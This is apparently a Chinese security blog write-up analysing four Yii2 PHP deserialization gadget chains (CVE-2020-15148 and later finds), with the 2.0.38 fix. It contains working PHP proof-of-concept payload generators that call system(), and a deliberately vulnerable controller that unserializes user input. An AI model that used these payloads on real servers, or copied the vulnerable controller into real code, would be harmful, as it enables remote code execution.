Yii2 反序列化利用链总结

本文最后更新于:3 个月前

简介

Yii 是一个高性能,基于组件的 PHP 框架,用于快速开发现代 Web 应用程序。Yii主要有 1.1 和 2.0 两个版本,目前官方都在维护这两个版本,Yii2.0 是一个重写的版本,和 Yii1.1 有很大不同。

本次漏洞出现在 Yii2.0 版本上,在2020年9月左右(HW期间) Yii 被爆出反序列化漏洞,如果程序在用户可以控制的输入处调用了unserialize() 并允许特殊字符的情况下,将会受到反序列化远程命令命令执行漏洞攻击。

注意,该漏洞只是发掘了 php 反序列化的利用链,必须要配合unserialize函数才可以达到任意代码执行的危害。在该漏洞爆出后,很多师傅相继挖出更多的 Yii 反序列利用链。

【漏洞编号】CVE-2020-15148

【影响版本】Yii2 <= 2.0.37

【全文概述】本文主要分析Yii2的POP链,在寻找到程序的反序列化操作后利用这些POP链可以直接RCE。本文先分析 CVE-2020-15148 中的POP链,然后分析了大佬们挖到的新的POP链,虽然新的POP链主要来自Yii使用的组件,但该POP链可能具有通杀的效果

我看到很多博主提到 POP 链这个概念,我没有找到十分官方的说法,我的理解就是反序列化利用链

POP(Property Oriented Programming):面向属性编程

POP链(POP CHAIN):把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找一系列函数,最后执行恶意代码,就构成了POP CHAIN 。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制反序列化的类的属性,从而执行POP CHAIN,达到利用特定漏洞的效果。

环境搭建

在官方仓库下载 Yii 2.0.37:https://github.com/yiisoft/yii2/releases/tag/2.0.37

Yii 一般会同时发布basic和advanced版本,我这里下载的是basic版本,而advanced版本相当于basic版本的升级版本。

【添加密钥】

Yii 程序需要配置密钥,否则程序会报错不能运行。

修改 config/web.php 文件,给 cookieValidationKey 配置项添加一个密钥,随便输入一个值即可(若你通过 Composer 安装,则此步骤会自动完成):

1
2
// !!! 在下面插入一段密钥(若为空) - 以供 cookie validation 的需要
'cookieValidationKey' => '在此处输入你的密钥',

【添加反序列化入口】

本次复现重点在于触发反序列化利用链,Yii 本身是不存在触发反序列化利用链的Action,这里我们手动添加一个存在漏洞的Action

/controllers/TestController.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
namespace app\controllers;
use Yii;
use yii\web\Controleer;

class TestController extends Controller
{
public function actionTest(){
$name = Yii:$app->request->get('data');
return unserialize(base64_decode($name));
}
}

PS:这里对反序列化数据做了 base64 编码传输,测试没有编码也是可以传输的,以应对更多情况的真实场景

【启动应用】

在web目录下可以使用以下命令快速启动一个 yii 应用

1
2
3
4
$ php yii serve
Server started on http://localhost:8080/
Document root is "/Users/xy/big/xy/free/basic/web"
Quit the server with CTRL-C or COMMAND-C.
image-20210622111350190

不过我最终还是搭建在了 MAMP 上,localhost这种在抓包发包上还是有点麻烦

寻找反序列化入口

本文只记录了yii POP链,利用这些POP链需要程序执行反序列化操作,即 unserialize()。这里记录两个目前我能想到的找到反序列化入口的地方:

1)留意程序的序列化数据,如果发现有序列化数据到服务器端,大概率会触发unserialize()。白盒测试的话就是寻找unserialize()的参数是否可控。

2)构造phar格式文件,并能使用phar协议读取该文件

漏洞分析

在挖掘POP链时,需要知道的是,在反序列化漏洞中,我们通常会构造序列化对象,我们可以容易的控制对象的属性。

本文记录了4条利用链,POP1和POP2都是基于BatchQueryResult类的反序列化问题,可用于2.0.37 以前的版本,POP1和POP2类似,主要参考POP1

POP3和POP4来自:https://github.com/yiisoft/yii2/issues/18293

其中 POP3 来自 yii 使用的 CodeCeption 框架,该框架一般用于功能测试

其中 POP4 来自 yii 使用的 swiftmailer ,属于邮件处理组件。所以作者发现了这两个利用链官方并没有收录修改。

目前没有看到这两个组件有什么修改,主要是漏洞产生是两个不同组织的代码,如果目标系统使用了这两个组件,可能会产生通杀的效果

POP1

先分析漏洞爆出时的一条POP链

漏洞入口点定位在:vendor/yiisoft/yii2/db/BatchQueryResult.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class BatchQueryResult extends BaseObject implements \Iterator
{
private $_dataReader; // line:56

public function __destruct() //line:79-83
{
// make sure cursor is closed
$this->reset();
}

public function reset() //line:89-98
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
……
  • 对象被销毁__destruct()的时候,会调用reset()方法

  • 在reset()方法中,$this->_dataReader调用了close()方法,这个函数在类中并不存在,而$this->_dataReader我们可在编写序列化对象时可控,因此可以利用该处触发 __call() 魔术方法

接下来就是要寻找可利用的点,可以全局搜索__call方法

image-20210622120639320
  • 于是找到如下文件

vendor/fzaninotto/faker/src/Faker/Generator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Generator
{
protected $formatters = array(); //line:201
public function format($formatter, $arguments = array()) //line:226-229
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter) //line:236-249
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($method, $attributes) //line:283-286
{
return $this->format($method, $attributes);
}
……
  • 这个类的__call()方法会调用format()方法。触发__call()方法的是close()方法,传入的参数为空,所以$method='close'$attributes为空

  • format()方法调用了call_user_func_array()方法,call_user_func_array()的第一个参数为要执行的回调函数,由getFormatter()方法获取

  • getFormatter() 主要利用 $this->formatters[$formatter]返回结果 。 $this->formatters 可控,我们便可在此处构造我们想执行的任意函数。而$formatter来自于__call($method,$attributes)中的$method$formatter='close'$formatter不可控

目前$arguments='close'this->formatters可控,$arguments为空。也就是说call_user_func_array()这个函数的第一个参数可控,第二个参数为空。所以我们只能不带参数地去调用别的类中的方法,那么我们就需要去寻找能执行命令的函数,这个函数需要满足以下条件:

​ 1)方法所需的参数只能是其自己类中存在的(即参数:$this->args

​ 2)方法需要有命令执行功能

最后通过call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)的正则来查找到两个方法比较合适:

1
2
yii\rest\CreateAction::run()
yii\rest\IndexAction::run()
image-20210622145034158

vendor/yiisoft/yii2/rest/CreateAction.php

1
2
3
4
5
6
7
8
class CreateAction extends Action
{
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
……

vendor/yiisoft/yii2/rest/IndexAction.php

1
2
3
4
5
6
7
8
9
10
11
class IndexAction extends Action
{
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

return $this->prepareDataProvider();
}
……

至此,我们获取了完整的POP链

1
2
3
4
5
6
POP1:
yii\db\BatchQueryResult::__destruct()->reset()->close()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
yii\rest\IndexAction::run->call_user_func()

POC

便构造如下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami'; //command
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new IndexAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
}

测试结果如下:

image-20210623104001170

修复情况

在yii 2.0.38 中修复了该漏洞,可以在commit记录中查看修改

https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99

image-20210623110330650

新加了一个__wakeup()方法,但该类被反序列化时被触发,在__wakeup()方法中,会抛出一个异常,从而修复了该漏洞。

POP2

同POP1,从yii2/db/BatchQueryResult.php入手,但现在换种思路,我们不找__call方法来触发,直接找close方法

全局搜索close()方法,且没有参数:

image-20210623115906214

发现 DbSession.php 可以利用

web/DbSession.php

1
2
3
4
5
6
7
8
9
10
11
class DbSession extends MultiFieldSession
{
public function close() //line:146-153
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
……

追踪 composeFields 函数,来到DbSession继承的类MultiFieldSession

web/MultiFieldSession.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
abstract class MultiFieldSession extends Session
{
public $writeCallback;
protected function composeFields($id = null, $data = null) //line:96-106
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}

存在敏感函数call_user_func($this->writeCallback, $this),其中$this->writeCallback 可控,但$this我们很难使其控制为一个函数的参数。那我们就考虑让这个call_user_func调用其他类的敏感方法,如 POP1 中的 yii\rest\IndexAction::run->call_user_func()

这里就有一个知识点,在pop1中,我们使用 call_user_func_array() 调用了其他类的方法,其中第一个参数为其他类类名,其他类的函数名构成的数组,而 call_user_func 也具有这个功能

这个知识点参考:https://www.php.net/manual/zh/language.types.callable.php

最终构成利用链:

1
2
3
4
5
6
POP2:
yii\db\BatchQueryResult::__destruct()->reset()
->
\yii\web\DbSession::close -> MultiFieldSession::composeFields -> call_user_func($this->writeCallback, $this)
->
\yii\rest\IndexAction::run->call_user_func()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\db{
use yii\web\DbSession;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new DbSession();
}
}
}

namespace{
$payload = new yii\db\BatchQueryResult();
echo base64_encode(serialize($payload));
}

namespace yii\web{
use yii\rest\IndexAction;

class DbSession{
public $writeCallback;
function __construct()
{
$this->writeCallback = [new IndexAction(), 'run'];
}
}

}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

POP3

POP3和POP4,将寻找新的利用链,通过全局搜索__destruct()|__wakeup()寻找触发点

最终找到

vendor/codeception/codeception/ext/RunProcess.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class RunProcess extends Extension
{
public function __destruct() //line:93-109
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
……

__destruct()析构的时候,调用stopProcess(),而函数中的this->processes可控,也就意味着$process可控。而因为$process调用isRunning()函数进行判断,这个不在类中,会触发__call()方法。

至于后面的嘛,就可以接上第一条利用链POP1的__call()方法开头的后半段,完成一个新的POP链

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['isRunning'] = [new IndexAction, 'run'];
//stopProcess方法里又调用了isRunning()方法: $process->isRunning()
}
}
}


namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}

}
}

namespace{
use Codeception\Extension\RunProcess;

echo base64_encode(serialize(new RunProcess()));
}

?>

POP4

vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Swift_KeyCache_DiskKeyCache implements Swift_KeyCache
{
public function clearKey($nsKey, $itemKey) //line:212-218
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}

public function clearAll($nsKey) //line:225-236
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}

public function __destruct() //line:289-294
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
  • __destruct调用clearAll()方法

  • 跟进到clearAll(),调用clearKey()

  • 调用clearKey(),这里的unlink用到了拼接字符串,而this->path可控,所以就调用__toString()方法:

接下来需要找到可以利用的__toString()魔术方法来触发后续操作。

全局搜索一下__toString()方法:function __toString\(\),可以发现不少的方法,以\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString为例,

1
2
3
4
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}

$this->refers$this->description可控。同时它在调用render()时会调用__call魔术方法。

之后就与POP1的后半段链一样了。

完整的POP链如下:

1
2
3
4
5
6
7
8
POP4:
\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
->
\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render
->
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Covers;

class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;

public function __construct()
{
$this->keys = array(
"V0W" =>array("is", "Ca1j1")
); //注意 ClearAll中的数组解析了两次,之后再unlink
$this->path = new Covers();
}
}

$payload = new Swift_KeyCache_DiskKeyCache();
echo base64_encode(serialize($payload));
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;

class Covers{
private $refers;
protected $description;
public function __construct()
{
$this->description = new Generator();
$this->refers = "AnyStringisOK";
}
}

}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['render'] = [new IndexAction, 'run'];
//stopProcess方法里又调用了isRunning()方法: $process->isRunning()
}
}
}

演示:

虽然报错还是能执行命令

image-20210623161041092

参考:

Yii 官方文档:https://www.yiichina.com/doc

Yii2 官方仓库:https://github.com/yiisoft/yii2

米斯特团队全过程介绍:https://v0w.top/2020/09/22/Yii2unserialize

大佬的有趣挖链过程,结果同上:https://juejin.cn/post/6874149010832097294

额外具有ctf题:https://juejin.cn/post/6974936838746144782

__wakeup入手的POP链(本文没有记录):https://ca01h.top/code_audit/PHP/8.Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%8B%93%E5%B1%95/